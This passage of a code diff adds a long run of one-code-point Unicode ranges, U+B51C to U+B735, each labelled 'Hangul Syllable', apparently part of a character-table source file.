+ [0xb51c, 0xb51c], /* Hangul Syllable */
+ [0xb51d, 0xb51d], /* Hangul Syllable */
+ [0xb51e, 0xb51e], /* Hangul Syllable */
+ [0xb51f, 0xb51f], /* Hangul Syllable */
+ [0xb520, 0xb520], /* Hangul Syllable */
+ [0xb521, 0xb521], /* Hangul Syllable */
+ [0xb522, 0xb522], /* Hangul Syllable */
+ [0xb523, 0xb523], /* Hangul Syllable */
+ [0xb524, 0xb524], /* Hangul Syllable */
+ [0xb525, 0xb525], /* Hangul Syllable */
+ [0xb526, 0xb526], /* Hangul Syllable */
+ [0xb527, 0xb527], /* Hangul Syllable */
+ [0xb528, 0xb528], /* Hangul Syllable */
+ [0xb529, 0xb529], /* Hangul Syllable */
+ [0xb52a, 0xb52a], /* Hangul Syllable */
+ [0xb52b, 0xb52b], /* Hangul Syllable */
+ [0xb52c, 0xb52c], /* Hangul Syllable */
+ [0xb52d, 0xb52d], /* Hangul Syllable */
+ [0xb52e, 0xb52e], /* Hangul Syllable */
+ [0xb52f, 0xb52f], /* Hangul Syllable */
+ [0xb530, 0xb530], /* Hangul Syllable */
+ [0xb531, 0xb531], /* Hangul Syllable */
+ [0xb532, 0xb532], /* Hangul Syllable */
+ [0xb533, 0xb533], /* Hangul Syllable */
+ [0xb534, 0xb534], /* Hangul Syllable */
+ [0xb535, 0xb535], /* Hangul Syllable */
+ [0xb536, 0xb536], /* Hangul Syllable */
+ [0xb537, 0xb537], /* Hangul Syllable */
+ [0xb538, 0xb538], /* Hangul Syllable */
+ [0xb539, 0xb539], /* Hangul Syllable */
+ [0xb53a, 0xb53a], /* Hangul Syllable */
+ [0xb53b, 0xb53b], /* Hangul Syllable */
+ [0xb53c, 0xb53c], /* Hangul Syllable */
+ [0xb53d, 0xb53d], /* Hangul Syllable */
+ [0xb53e, 0xb53e], /* Hangul Syllable */
+ [0xb53f, 0xb53f], /* Hangul Syllable */
+ [0xb540, 0xb540], /* Hangul Syllable */
+ [0xb541, 0xb541], /* Hangul Syllable */
+ [0xb542, 0xb542], /* Hangul Syllable */
+ [0xb543, 0xb543], /* Hangul Syllable */
+ [0xb544, 0xb544], /* Hangul Syllable */
+ [0xb545, 0xb545], /* Hangul Syllable */
+ [0xb546, 0xb546], /* Hangul Syllable */
+ [0xb547, 0xb547], /* Hangul Syllable */
+ [0xb548, 0xb548], /* Hangul Syllable */
+ [0xb549, 0xb549], /* Hangul Syllable */
+ [0xb54a, 0xb54a], /* Hangul Syllable */
+ [0xb54b, 0xb54b], /* Hangul Syllable */
+ [0xb54c, 0xb54c], /* Hangul Syllable */
+ [0xb54d, 0xb54d], /* Hangul Syllable */
+ [0xb54e, 0xb54e], /* Hangul Syllable */
+ [0xb54f, 0xb54f], /* Hangul Syllable */
+ [0xb550, 0xb550], /* Hangul Syllable */
+ [0xb551, 0xb551], /* Hangul Syllable */
+ [0xb552, 0xb552], /* Hangul Syllable */
+ [0xb553, 0xb553], /* Hangul Syllable */
+ [0xb554, 0xb554], /* Hangul Syllable */
+ [0xb555, 0xb555], /* Hangul Syllable */
+ [0xb556, 0xb556], /* Hangul Syllable */
+ [0xb557, 0xb557], /* Hangul Syllable */
+ [0xb558, 0xb558], /* Hangul Syllable */
+ [0xb559, 0xb559], /* Hangul Syllable */
+ [0xb55a, 0xb55a], /* Hangul Syllable */
+ [0xb55b, 0xb55b], /* Hangul Syllable */
+ [0xb55c, 0xb55c], /* Hangul Syllable */
+ [0xb55d, 0xb55d], /* Hangul Syllable */
+ [0xb55e, 0xb55e], /* Hangul Syllable */
+ [0xb55f, 0xb55f], /* Hangul Syllable */
+ [0xb560, 0xb560], /* Hangul Syllable */
+ [0xb561, 0xb561], /* Hangul Syllable */
+ [0xb562, 0xb562], /* Hangul Syllable */
+ [0xb563, 0xb563], /* Hangul Syllable */
+ [0xb564, 0xb564], /* Hangul Syllable */
+ [0xb565, 0xb565], /* Hangul Syllable */
+ [0xb566, 0xb566], /* Hangul Syllable */
+ [0xb567, 0xb567], /* Hangul Syllable */
+ [0xb568, 0xb568], /* Hangul Syllable */
+ [0xb569, 0xb569], /* Hangul Syllable */
+ [0xb56a, 0xb56a], /* Hangul Syllable */
+ [0xb56b, 0xb56b], /* Hangul Syllable */
+ [0xb56c, 0xb56c], /* Hangul Syllable */
+ [0xb56d, 0xb56d], /* Hangul Syllable */
+ [0xb56e, 0xb56e], /* Hangul Syllable */
+ [0xb56f, 0xb56f], /* Hangul Syllable */
+ [0xb570, 0xb570], /* Hangul Syllable */
+ [0xb571, 0xb571], /* Hangul Syllable */
+ [0xb572, 0xb572], /* Hangul Syllable */
+ [0xb573, 0xb573], /* Hangul Syllable */
+ [0xb574, 0xb574], /* Hangul Syllable */
+ [0xb575, 0xb575], /* Hangul Syllable */
+ [0xb576, 0xb576], /* Hangul Syllable */
+ [0xb577, 0xb577], /* Hangul Syllable */
+ [0xb578, 0xb578], /* Hangul Syllable */
+ [0xb579, 0xb579], /* Hangul Syllable */
+ [0xb57a, 0xb57a], /* Hangul Syllable */
+ [0xb57b, 0xb57b], /* Hangul Syllable */
+ [0xb57c, 0xb57c], /* Hangul Syllable */
+ [0xb57d, 0xb57d], /* Hangul Syllable */
+ [0xb57e, 0xb57e], /* Hangul Syllable */
+ [0xb57f, 0xb57f], /* Hangul Syllable */
+ [0xb580, 0xb580], /* Hangul Syllable */
+ [0xb581, 0xb581], /* Hangul Syllable */
+ [0xb582, 0xb582], /* Hangul Syllable */
+ [0xb583, 0xb583], /* Hangul Syllable */
+ [0xb584, 0xb584], /* Hangul Syllable */
+ [0xb585, 0xb585], /* Hangul Syllable */
+ [0xb586, 0xb586], /* Hangul Syllable */
+ [0xb587, 0xb587], /* Hangul Syllable */
+ [0xb588, 0xb588], /* Hangul Syllable */
+ [0xb589, 0xb589], /* Hangul Syllable */
+ [0xb58a, 0xb58a], /* Hangul Syllable */
+ [0xb58b, 0xb58b], /* Hangul Syllable */
+ [0xb58c, 0xb58c], /* Hangul Syllable */
+ [0xb58d, 0xb58d], /* Hangul Syllable */
+ [0xb58e, 0xb58e], /* Hangul Syllable */
+ [0xb58f, 0xb58f], /* Hangul Syllable */
+ [0xb590, 0xb590], /* Hangul Syllable */
+ [0xb591, 0xb591], /* Hangul Syllable */
+ [0xb592, 0xb592], /* Hangul Syllable */
+ [0xb593, 0xb593], /* Hangul Syllable */
+ [0xb594, 0xb594], /* Hangul Syllable */
+ [0xb595, 0xb595], /* Hangul Syllable */
+ [0xb596, 0xb596], /* Hangul Syllable */
+ [0xb597, 0xb597], /* Hangul Syllable */
+ [0xb598, 0xb598], /* Hangul Syllable */
+ [0xb599, 0xb599], /* Hangul Syllable */
+ [0xb59a, 0xb59a], /* Hangul Syllable */
+ [0xb59b, 0xb59b], /* Hangul Syllable */
+ [0xb59c, 0xb59c], /* Hangul Syllable */
+ [0xb59d, 0xb59d], /* Hangul Syllable */
+ [0xb59e, 0xb59e], /* Hangul Syllable */
+ [0xb59f, 0xb59f], /* Hangul Syllable */
+ [0xb5a0, 0xb5a0], /* Hangul Syllable */
+ [0xb5a1, 0xb5a1], /* Hangul Syllable */
+ [0xb5a2, 0xb5a2], /* Hangul Syllable */
+ [0xb5a3, 0xb5a3], /* Hangul Syllable */
+ [0xb5a4, 0xb5a4], /* Hangul Syllable */
+ [0xb5a5, 0xb5a5], /* Hangul Syllable */
+ [0xb5a6, 0xb5a6], /* Hangul Syllable */
+ [0xb5a7, 0xb5a7], /* Hangul Syllable */
+ [0xb5a8, 0xb5a8], /* Hangul Syllable */
+ [0xb5a9, 0xb5a9], /* Hangul Syllable */
+ [0xb5aa, 0xb5aa], /* Hangul Syllable */
+ [0xb5ab, 0xb5ab], /* Hangul Syllable */
+ [0xb5ac, 0xb5ac], /* Hangul Syllable */
+ [0xb5ad, 0xb5ad], /* Hangul Syllable */
+ [0xb5ae, 0xb5ae], /* Hangul Syllable */
+ [0xb5af, 0xb5af], /* Hangul Syllable */
+ [0xb5b0, 0xb5b0], /* Hangul Syllable */
+ [0xb5b1, 0xb5b1], /* Hangul Syllable */
+ [0xb5b2, 0xb5b2], /* Hangul Syllable */
+ [0xb5b3, 0xb5b3], /* Hangul Syllable */
+ [0xb5b4, 0xb5b4], /* Hangul Syllable */
+ [0xb5b5, 0xb5b5], /* Hangul Syllable */
+ [0xb5b6, 0xb5b6], /* Hangul Syllable */
+ [0xb5b7, 0xb5b7], /* Hangul Syllable */
+ [0xb5b8, 0xb5b8], /* Hangul Syllable */
+ [0xb5b9, 0xb5b9], /* Hangul Syllable */
+ [0xb5ba, 0xb5ba], /* Hangul Syllable */
+ [0xb5bb, 0xb5bb], /* Hangul Syllable */
+ [0xb5bc, 0xb5bc], /* Hangul Syllable */
+ [0xb5bd, 0xb5bd], /* Hangul Syllable */
+ [0xb5be, 0xb5be], /* Hangul Syllable */
+ [0xb5bf, 0xb5bf], /* Hangul Syllable */
+ [0xb5c0, 0xb5c0], /* Hangul Syllable */
+ [0xb5c1, 0xb5c1], /* Hangul Syllable */
+ [0xb5c2, 0xb5c2], /* Hangul Syllable */
+ [0xb5c3, 0xb5c3], /* Hangul Syllable */
+ [0xb5c4, 0xb5c4], /* Hangul Syllable */
+ [0xb5c5, 0xb5c5], /* Hangul Syllable */
+ [0xb5c6, 0xb5c6], /* Hangul Syllable */
+ [0xb5c7, 0xb5c7], /* Hangul Syllable */
+ [0xb5c8, 0xb5c8], /* Hangul Syllable */
+ [0xb5c9, 0xb5c9], /* Hangul Syllable */
+ [0xb5ca, 0xb5ca], /* Hangul Syllable */
+ [0xb5cb, 0xb5cb], /* Hangul Syllable */
+ [0xb5cc, 0xb5cc], /* Hangul Syllable */
+ [0xb5cd, 0xb5cd], /* Hangul Syllable */
+ [0xb5ce, 0xb5ce], /* Hangul Syllable */
+ [0xb5cf, 0xb5cf], /* Hangul Syllable */
+ [0xb5d0, 0xb5d0], /* Hangul Syllable */
+ [0xb5d1, 0xb5d1], /* Hangul Syllable */
+ [0xb5d2, 0xb5d2], /* Hangul Syllable */
+ [0xb5d3, 0xb5d3], /* Hangul Syllable */
+ [0xb5d4, 0xb5d4], /* Hangul Syllable */
+ [0xb5d5, 0xb5d5], /* Hangul Syllable */
+ [0xb5d6, 0xb5d6], /* Hangul Syllable */
+ [0xb5d7, 0xb5d7], /* Hangul Syllable */
+ [0xb5d8, 0xb5d8], /* Hangul Syllable */
+ [0xb5d9, 0xb5d9], /* Hangul Syllable */
+ [0xb5da, 0xb5da], /* Hangul Syllable */
+ [0xb5db, 0xb5db], /* Hangul Syllable */
+ [0xb5dc, 0xb5dc], /* Hangul Syllable */
+ [0xb5dd, 0xb5dd], /* Hangul Syllable */
+ [0xb5de, 0xb5de], /* Hangul Syllable */
+ [0xb5df, 0xb5df], /* Hangul Syllable */
+ [0xb5e0, 0xb5e0], /* Hangul Syllable */
+ [0xb5e1, 0xb5e1], /* Hangul Syllable */
+ [0xb5e2, 0xb5e2], /* Hangul Syllable */
+ [0xb5e3, 0xb5e3], /* Hangul Syllable */
+ [0xb5e4, 0xb5e4], /* Hangul Syllable */
+ [0xb5e5, 0xb5e5], /* Hangul Syllable */
+ [0xb5e6, 0xb5e6], /* Hangul Syllable */
+ [0xb5e7, 0xb5e7], /* Hangul Syllable */
+ [0xb5e8, 0xb5e8], /* Hangul Syllable */
+ [0xb5e9, 0xb5e9], /* Hangul Syllable */
+ [0xb5ea, 0xb5ea], /* Hangul Syllable */
+ [0xb5eb, 0xb5eb], /* Hangul Syllable */
+ [0xb5ec, 0xb5ec], /* Hangul Syllable */
+ [0xb5ed, 0xb5ed], /* Hangul Syllable */
+ [0xb5ee, 0xb5ee], /* Hangul Syllable */
+ [0xb5ef, 0xb5ef], /* Hangul Syllable */
+ [0xb5f0, 0xb5f0], /* Hangul Syllable */
+ [0xb5f1, 0xb5f1], /* Hangul Syllable */
+ [0xb5f2, 0xb5f2], /* Hangul Syllable */
+ [0xb5f3, 0xb5f3], /* Hangul Syllable */
+ [0xb5f4, 0xb5f4], /* Hangul Syllable */
+ [0xb5f5, 0xb5f5], /* Hangul Syllable */
+ [0xb5f6, 0xb5f6], /* Hangul Syllable */
+ [0xb5f7, 0xb5f7], /* Hangul Syllable */
+ [0xb5f8, 0xb5f8], /* Hangul Syllable */
+ [0xb5f9, 0xb5f9], /* Hangul Syllable */
+ [0xb5fa, 0xb5fa], /* Hangul Syllable */
+ [0xb5fb, 0xb5fb], /* Hangul Syllable */
+ [0xb5fc, 0xb5fc], /* Hangul Syllable */
+ [0xb5fd, 0xb5fd], /* Hangul Syllable */
+ [0xb5fe, 0xb5fe], /* Hangul Syllable */
+ [0xb5ff, 0xb5ff], /* Hangul Syllable */
+ [0xb600, 0xb600], /* Hangul Syllable */
+ [0xb601, 0xb601], /* Hangul Syllable */
+ [0xb602, 0xb602], /* Hangul Syllable */
+ [0xb603, 0xb603], /* Hangul Syllable */
+ [0xb604, 0xb604], /* Hangul Syllable */
+ [0xb605, 0xb605], /* Hangul Syllable */
+ [0xb606, 0xb606], /* Hangul Syllable */
+ [0xb607, 0xb607], /* Hangul Syllable */
+ [0xb608, 0xb608], /* Hangul Syllable */
+ [0xb609, 0xb609], /* Hangul Syllable */
+ [0xb60a, 0xb60a], /* Hangul Syllable */
+ [0xb60b, 0xb60b], /* Hangul Syllable */
+ [0xb60c, 0xb60c], /* Hangul Syllable */
+ [0xb60d, 0xb60d], /* Hangul Syllable */
+ [0xb60e, 0xb60e], /* Hangul Syllable */
+ [0xb60f, 0xb60f], /* Hangul Syllable */
+ [0xb610, 0xb610], /* Hangul Syllable */
+ [0xb611, 0xb611], /* Hangul Syllable */
+ [0xb612, 0xb612], /* Hangul Syllable */
+ [0xb613, 0xb613], /* Hangul Syllable */
+ [0xb614, 0xb614], /* Hangul Syllable */
+ [0xb615, 0xb615], /* Hangul Syllable */
+ [0xb616, 0xb616], /* Hangul Syllable */
+ [0xb617, 0xb617], /* Hangul Syllable */
+ [0xb618, 0xb618], /* Hangul Syllable */
+ [0xb619, 0xb619], /* Hangul Syllable */
+ [0xb61a, 0xb61a], /* Hangul Syllable */
+ [0xb61b, 0xb61b], /* Hangul Syllable */
+ [0xb61c, 0xb61c], /* Hangul Syllable */
+ [0xb61d, 0xb61d], /* Hangul Syllable */
+ [0xb61e, 0xb61e], /* Hangul Syllable */
+ [0xb61f, 0xb61f], /* Hangul Syllable */
+ [0xb620, 0xb620], /* Hangul Syllable */
+ [0xb621, 0xb621], /* Hangul Syllable */
+ [0xb622, 0xb622], /* Hangul Syllable */
+ [0xb623, 0xb623], /* Hangul Syllable */
+ [0xb624, 0xb624], /* Hangul Syllable */
+ [0xb625, 0xb625], /* Hangul Syllable */
+ [0xb626, 0xb626], /* Hangul Syllable */
+ [0xb627, 0xb627], /* Hangul Syllable */
+ [0xb628, 0xb628], /* Hangul Syllable */
+ [0xb629, 0xb629], /* Hangul Syllable */
+ [0xb62a, 0xb62a], /* Hangul Syllable */
+ [0xb62b, 0xb62b], /* Hangul Syllable */
+ [0xb62c, 0xb62c], /* Hangul Syllable */
+ [0xb62d, 0xb62d], /* Hangul Syllable */
+ [0xb62e, 0xb62e], /* Hangul Syllable */
+ [0xb62f, 0xb62f], /* Hangul Syllable */
+ [0xb630, 0xb630], /* Hangul Syllable */
+ [0xb631, 0xb631], /* Hangul Syllable */
+ [0xb632, 0xb632], /* Hangul Syllable */
+ [0xb633, 0xb633], /* Hangul Syllable */
+ [0xb634, 0xb634], /* Hangul Syllable */
+ [0xb635, 0xb635], /* Hangul Syllable */
+ [0xb636, 0xb636], /* Hangul Syllable */
+ [0xb637, 0xb637], /* Hangul Syllable */
+ [0xb638, 0xb638], /* Hangul Syllable */
+ [0xb639, 0xb639], /* Hangul Syllable */
+ [0xb63a, 0xb63a], /* Hangul Syllable */
+ [0xb63b, 0xb63b], /* Hangul Syllable */
+ [0xb63c, 0xb63c], /* Hangul Syllable */
+ [0xb63d, 0xb63d], /* Hangul Syllable */
+ [0xb63e, 0xb63e], /* Hangul Syllable */
+ [0xb63f, 0xb63f], /* Hangul Syllable */
+ [0xb640, 0xb640], /* Hangul Syllable */
+ [0xb641, 0xb641], /* Hangul Syllable */
+ [0xb642, 0xb642], /* Hangul Syllable */
+ [0xb643, 0xb643], /* Hangul Syllable */
+ [0xb644, 0xb644], /* Hangul Syllable */
+ [0xb645, 0xb645], /* Hangul Syllable */
+ [0xb646, 0xb646], /* Hangul Syllable */
+ [0xb647, 0xb647], /* Hangul Syllable */
+ [0xb648, 0xb648], /* Hangul Syllable */
+ [0xb649, 0xb649], /* Hangul Syllable */
+ [0xb64a, 0xb64a], /* Hangul Syllable */
+ [0xb64b, 0xb64b], /* Hangul Syllable */
+ [0xb64c, 0xb64c], /* Hangul Syllable */
+ [0xb64d, 0xb64d], /* Hangul Syllable */
+ [0xb64e, 0xb64e], /* Hangul Syllable */
+ [0xb64f, 0xb64f], /* Hangul Syllable */
+ [0xb650, 0xb650], /* Hangul Syllable */
+ [0xb651, 0xb651], /* Hangul Syllable */
+ [0xb652, 0xb652], /* Hangul Syllable */
+ [0xb653, 0xb653], /* Hangul Syllable */
+ [0xb654, 0xb654], /* Hangul Syllable */
+ [0xb655, 0xb655], /* Hangul Syllable */
+ [0xb656, 0xb656], /* Hangul Syllable */
+ [0xb657, 0xb657], /* Hangul Syllable */
+ [0xb658, 0xb658], /* Hangul Syllable */
+ [0xb659, 0xb659], /* Hangul Syllable */
+ [0xb65a, 0xb65a], /* Hangul Syllable */
+ [0xb65b, 0xb65b], /* Hangul Syllable */
+ [0xb65c, 0xb65c], /* Hangul Syllable */
+ [0xb65d, 0xb65d], /* Hangul Syllable */
+ [0xb65e, 0xb65e], /* Hangul Syllable */
+ [0xb65f, 0xb65f], /* Hangul Syllable */
+ [0xb660, 0xb660], /* Hangul Syllable */
+ [0xb661, 0xb661], /* Hangul Syllable */
+ [0xb662, 0xb662], /* Hangul Syllable */
+ [0xb663, 0xb663], /* Hangul Syllable */
+ [0xb664, 0xb664], /* Hangul Syllable */
+ [0xb665, 0xb665], /* Hangul Syllable */
+ [0xb666, 0xb666], /* Hangul Syllable */
+ [0xb667, 0xb667], /* Hangul Syllable */
+ [0xb668, 0xb668], /* Hangul Syllable */
+ [0xb669, 0xb669], /* Hangul Syllable */
+ [0xb66a, 0xb66a], /* Hangul Syllable */
+ [0xb66b, 0xb66b], /* Hangul Syllable */
+ [0xb66c, 0xb66c], /* Hangul Syllable */
+ [0xb66d, 0xb66d], /* Hangul Syllable */
+ [0xb66e, 0xb66e], /* Hangul Syllable */
+ [0xb66f, 0xb66f], /* Hangul Syllable */
+ [0xb670, 0xb670], /* Hangul Syllable */
+ [0xb671, 0xb671], /* Hangul Syllable */
+ [0xb672, 0xb672], /* Hangul Syllable */
+ [0xb673, 0xb673], /* Hangul Syllable */
+ [0xb674, 0xb674], /* Hangul Syllable */
+ [0xb675, 0xb675], /* Hangul Syllable */
+ [0xb676, 0xb676], /* Hangul Syllable */
+ [0xb677, 0xb677], /* Hangul Syllable */
+ [0xb678, 0xb678], /* Hangul Syllable */
+ [0xb679, 0xb679], /* Hangul Syllable */
+ [0xb67a, 0xb67a], /* Hangul Syllable */
+ [0xb67b, 0xb67b], /* Hangul Syllable */
+ [0xb67c, 0xb67c], /* Hangul Syllable */
+ [0xb67d, 0xb67d], /* Hangul Syllable */
+ [0xb67e, 0xb67e], /* Hangul Syllable */
+ [0xb67f, 0xb67f], /* Hangul Syllable */
+ [0xb680, 0xb680], /* Hangul Syllable */
+ [0xb681, 0xb681], /* Hangul Syllable */
+ [0xb682, 0xb682], /* Hangul Syllable */
+ [0xb683, 0xb683], /* Hangul Syllable */
+ [0xb684, 0xb684], /* Hangul Syllable */
+ [0xb685, 0xb685], /* Hangul Syllable */
+ [0xb686, 0xb686], /* Hangul Syllable */
+ [0xb687, 0xb687], /* Hangul Syllable */
+ [0xb688, 0xb688], /* Hangul Syllable */
+ [0xb689, 0xb689], /* Hangul Syllable */
+ [0xb68a, 0xb68a], /* Hangul Syllable */
+ [0xb68b, 0xb68b], /* Hangul Syllable */
+ [0xb68c, 0xb68c], /* Hangul Syllable */
+ [0xb68d, 0xb68d], /* Hangul Syllable */
+ [0xb68e, 0xb68e], /* Hangul Syllable */
+ [0xb68f, 0xb68f], /* Hangul Syllable */
+ [0xb690, 0xb690], /* Hangul Syllable */
+ [0xb691, 0xb691], /* Hangul Syllable */
+ [0xb692, 0xb692], /* Hangul Syllable */
+ [0xb693, 0xb693], /* Hangul Syllable */
+ [0xb694, 0xb694], /* Hangul Syllable */
+ [0xb695, 0xb695], /* Hangul Syllable */
+ [0xb696, 0xb696], /* Hangul Syllable */
+ [0xb697, 0xb697], /* Hangul Syllable */
+ [0xb698, 0xb698], /* Hangul Syllable */
+ [0xb699, 0xb699], /* Hangul Syllable */
+ [0xb69a, 0xb69a], /* Hangul Syllable */
+ [0xb69b, 0xb69b], /* Hangul Syllable */
+ [0xb69c, 0xb69c], /* Hangul Syllable */
+ [0xb69d, 0xb69d], /* Hangul Syllable */
+ [0xb69e, 0xb69e], /* Hangul Syllable */
+ [0xb69f, 0xb69f], /* Hangul Syllable */
+ [0xb6a0, 0xb6a0], /* Hangul Syllable */
+ [0xb6a1, 0xb6a1], /* Hangul Syllable */
+ [0xb6a2, 0xb6a2], /* Hangul Syllable */
+ [0xb6a3, 0xb6a3], /* Hangul Syllable */
+ [0xb6a4, 0xb6a4], /* Hangul Syllable */
+ [0xb6a5, 0xb6a5], /* Hangul Syllable */
+ [0xb6a6, 0xb6a6], /* Hangul Syllable */
+ [0xb6a7, 0xb6a7], /* Hangul Syllable */
+ [0xb6a8, 0xb6a8], /* Hangul Syllable */
+ [0xb6a9, 0xb6a9], /* Hangul Syllable */
+ [0xb6aa, 0xb6aa], /* Hangul Syllable */
+ [0xb6ab, 0xb6ab], /* Hangul Syllable */
+ [0xb6ac, 0xb6ac], /* Hangul Syllable */
+ [0xb6ad, 0xb6ad], /* Hangul Syllable */
+ [0xb6ae, 0xb6ae], /* Hangul Syllable */
+ [0xb6af, 0xb6af], /* Hangul Syllable */
+ [0xb6b0, 0xb6b0], /* Hangul Syllable */
+ [0xb6b1, 0xb6b1], /* Hangul Syllable */
+ [0xb6b2, 0xb6b2], /* Hangul Syllable */
+ [0xb6b3, 0xb6b3], /* Hangul Syllable */
+ [0xb6b4, 0xb6b4], /* Hangul Syllable */
+ [0xb6b5, 0xb6b5], /* Hangul Syllable */
+ [0xb6b6, 0xb6b6], /* Hangul Syllable */
+ [0xb6b7, 0xb6b7], /* Hangul Syllable */
+ [0xb6b8, 0xb6b8], /* Hangul Syllable */
+ [0xb6b9, 0xb6b9], /* Hangul Syllable */
+ [0xb6ba, 0xb6ba], /* Hangul Syllable */
+ [0xb6bb, 0xb6bb], /* Hangul Syllable */
+ [0xb6bc, 0xb6bc], /* Hangul Syllable */
+ [0xb6bd, 0xb6bd], /* Hangul Syllable */
+ [0xb6be, 0xb6be], /* Hangul Syllable */
+ [0xb6bf, 0xb6bf], /* Hangul Syllable */
+ [0xb6c0, 0xb6c0], /* Hangul Syllable */
+ [0xb6c1, 0xb6c1], /* Hangul Syllable */
+ [0xb6c2, 0xb6c2], /* Hangul Syllable */
+ [0xb6c3, 0xb6c3], /* Hangul Syllable */
+ [0xb6c4, 0xb6c4], /* Hangul Syllable */
+ [0xb6c5, 0xb6c5], /* Hangul Syllable */
+ [0xb6c6, 0xb6c6], /* Hangul Syllable */
+ [0xb6c7, 0xb6c7], /* Hangul Syllable */
+ [0xb6c8, 0xb6c8], /* Hangul Syllable */
+ [0xb6c9, 0xb6c9], /* Hangul Syllable */
+ [0xb6ca, 0xb6ca], /* Hangul Syllable */
+ [0xb6cb, 0xb6cb], /* Hangul Syllable */
+ [0xb6cc, 0xb6cc], /* Hangul Syllable */
+ [0xb6cd, 0xb6cd], /* Hangul Syllable */
+ [0xb6ce, 0xb6ce], /* Hangul Syllable */
+ [0xb6cf, 0xb6cf], /* Hangul Syllable */
+ [0xb6d0, 0xb6d0], /* Hangul Syllable */
+ [0xb6d1, 0xb6d1], /* Hangul Syllable */
+ [0xb6d2, 0xb6d2], /* Hangul Syllable */
+ [0xb6d3, 0xb6d3], /* Hangul Syllable */
+ [0xb6d4, 0xb6d4], /* Hangul Syllable */
+ [0xb6d5, 0xb6d5], /* Hangul Syllable */
+ [0xb6d6, 0xb6d6], /* Hangul Syllable */
+ [0xb6d7, 0xb6d7], /* Hangul Syllable */
+ [0xb6d8, 0xb6d8], /* Hangul Syllable */
+ [0xb6d9, 0xb6d9], /* Hangul Syllable */
+ [0xb6da, 0xb6da], /* Hangul Syllable */
+ [0xb6db, 0xb6db], /* Hangul Syllable */
+ [0xb6dc, 0xb6dc], /* Hangul Syllable */
+ [0xb6dd, 0xb6dd], /* Hangul Syllable */
+ [0xb6de, 0xb6de], /* Hangul Syllable */
+ [0xb6df, 0xb6df], /* Hangul Syllable */
+ [0xb6e0, 0xb6e0], /* Hangul Syllable */
+ [0xb6e1, 0xb6e1], /* Hangul Syllable */
+ [0xb6e2, 0xb6e2], /* Hangul Syllable */
+ [0xb6e3, 0xb6e3], /* Hangul Syllable */
+ [0xb6e4, 0xb6e4], /* Hangul Syllable */
+ [0xb6e5, 0xb6e5], /* Hangul Syllable */
+ [0xb6e6, 0xb6e6], /* Hangul Syllable */
+ [0xb6e7, 0xb6e7], /* Hangul Syllable */
+ [0xb6e8, 0xb6e8], /* Hangul Syllable */
+ [0xb6e9, 0xb6e9], /* Hangul Syllable */
+ [0xb6ea, 0xb6ea], /* Hangul Syllable */
+ [0xb6eb, 0xb6eb], /* Hangul Syllable */
+ [0xb6ec, 0xb6ec], /* Hangul Syllable */
+ [0xb6ed, 0xb6ed], /* Hangul Syllable */
+ [0xb6ee, 0xb6ee], /* Hangul Syllable */
+ [0xb6ef, 0xb6ef], /* Hangul Syllable */
+ [0xb6f0, 0xb6f0], /* Hangul Syllable */
+ [0xb6f1, 0xb6f1], /* Hangul Syllable */
+ [0xb6f2, 0xb6f2], /* Hangul Syllable */
+ [0xb6f3, 0xb6f3], /* Hangul Syllable */
+ [0xb6f4, 0xb6f4], /* Hangul Syllable */
+ [0xb6f5, 0xb6f5], /* Hangul Syllable */
+ [0xb6f6, 0xb6f6], /* Hangul Syllable */
+ [0xb6f7, 0xb6f7], /* Hangul Syllable */
+ [0xb6f8, 0xb6f8], /* Hangul Syllable */
+ [0xb6f9, 0xb6f9], /* Hangul Syllable */
+ [0xb6fa, 0xb6fa], /* Hangul Syllable */
+ [0xb6fb, 0xb6fb], /* Hangul Syllable */
+ [0xb6fc, 0xb6fc], /* Hangul Syllable */
+ [0xb6fd, 0xb6fd], /* Hangul Syllable */
+ [0xb6fe, 0xb6fe], /* Hangul Syllable */
+ [0xb6ff, 0xb6ff], /* Hangul Syllable */
+ [0xb700, 0xb700], /* Hangul Syllable */
+ [0xb701, 0xb701], /* Hangul Syllable */
+ [0xb702, 0xb702], /* Hangul Syllable */
+ [0xb703, 0xb703], /* Hangul Syllable */
+ [0xb704, 0xb704], /* Hangul Syllable */
+ [0xb705, 0xb705], /* Hangul Syllable */
+ [0xb706, 0xb706], /* Hangul Syllable */
+ [0xb707, 0xb707], /* Hangul Syllable */
+ [0xb708, 0xb708], /* Hangul Syllable */
+ [0xb709, 0xb709], /* Hangul Syllable */
+ [0xb70a, 0xb70a], /* Hangul Syllable */
+ [0xb70b, 0xb70b], /* Hangul Syllable */
+ [0xb70c, 0xb70c], /* Hangul Syllable */
+ [0xb70d, 0xb70d], /* Hangul Syllable */
+ [0xb70e, 0xb70e], /* Hangul Syllable */
+ [0xb70f, 0xb70f], /* Hangul Syllable */
+ [0xb710, 0xb710], /* Hangul Syllable */
+ [0xb711, 0xb711], /* Hangul Syllable */
+ [0xb712, 0xb712], /* Hangul Syllable */
+ [0xb713, 0xb713], /* Hangul Syllable */
+ [0xb714, 0xb714], /* Hangul Syllable */
+ [0xb715, 0xb715], /* Hangul Syllable */
+ [0xb716, 0xb716], /* Hangul Syllable */
+ [0xb717, 0xb717], /* Hangul Syllable */
+ [0xb718, 0xb718], /* Hangul Syllable */
+ [0xb719, 0xb719], /* Hangul Syllable */
+ [0xb71a, 0xb71a], /* Hangul Syllable */
+ [0xb71b, 0xb71b], /* Hangul Syllable */
+ [0xb71c, 0xb71c], /* Hangul Syllable */
+ [0xb71d, 0xb71d], /* Hangul Syllable */
+ [0xb71e, 0xb71e], /* Hangul Syllable */
+ [0xb71f, 0xb71f], /* Hangul Syllable */
+ [0xb720, 0xb720], /* Hangul Syllable */
+ [0xb721, 0xb721], /* Hangul Syllable */
+ [0xb722, 0xb722], /* Hangul Syllable */
+ [0xb723, 0xb723], /* Hangul Syllable */
+ [0xb724, 0xb724], /* Hangul Syllable */
+ [0xb725, 0xb725], /* Hangul Syllable */
+ [0xb726, 0xb726], /* Hangul Syllable */
+ [0xb727, 0xb727], /* Hangul Syllable */
+ [0xb728, 0xb728], /* Hangul Syllable */
+ [0xb729, 0xb729], /* Hangul Syllable */
+ [0xb72a, 0xb72a], /* Hangul Syllable */
+ [0xb72b, 0xb72b], /* Hangul Syllable */
+ [0xb72c, 0xb72c], /* Hangul Syllable */
+ [0xb72d, 0xb72d], /* Hangul Syllable */
+ [0xb72e, 0xb72e], /* Hangul Syllable */
+ [0xb72f, 0xb72f], /* Hangul Syllable */
+ [0xb730, 0xb730], /* Hangul Syllable */
+ [0xb731, 0xb731], /* Hangul Syllable */
+ [0xb732, 0xb732], /* Hangul Syllable */
+ [0xb733, 0xb733], /* Hangul Syllable */
+ [0xb734, 0xb734], /* Hangul Syllable */
+ [0xb735, 0xb735], /* Hangul Syllable */
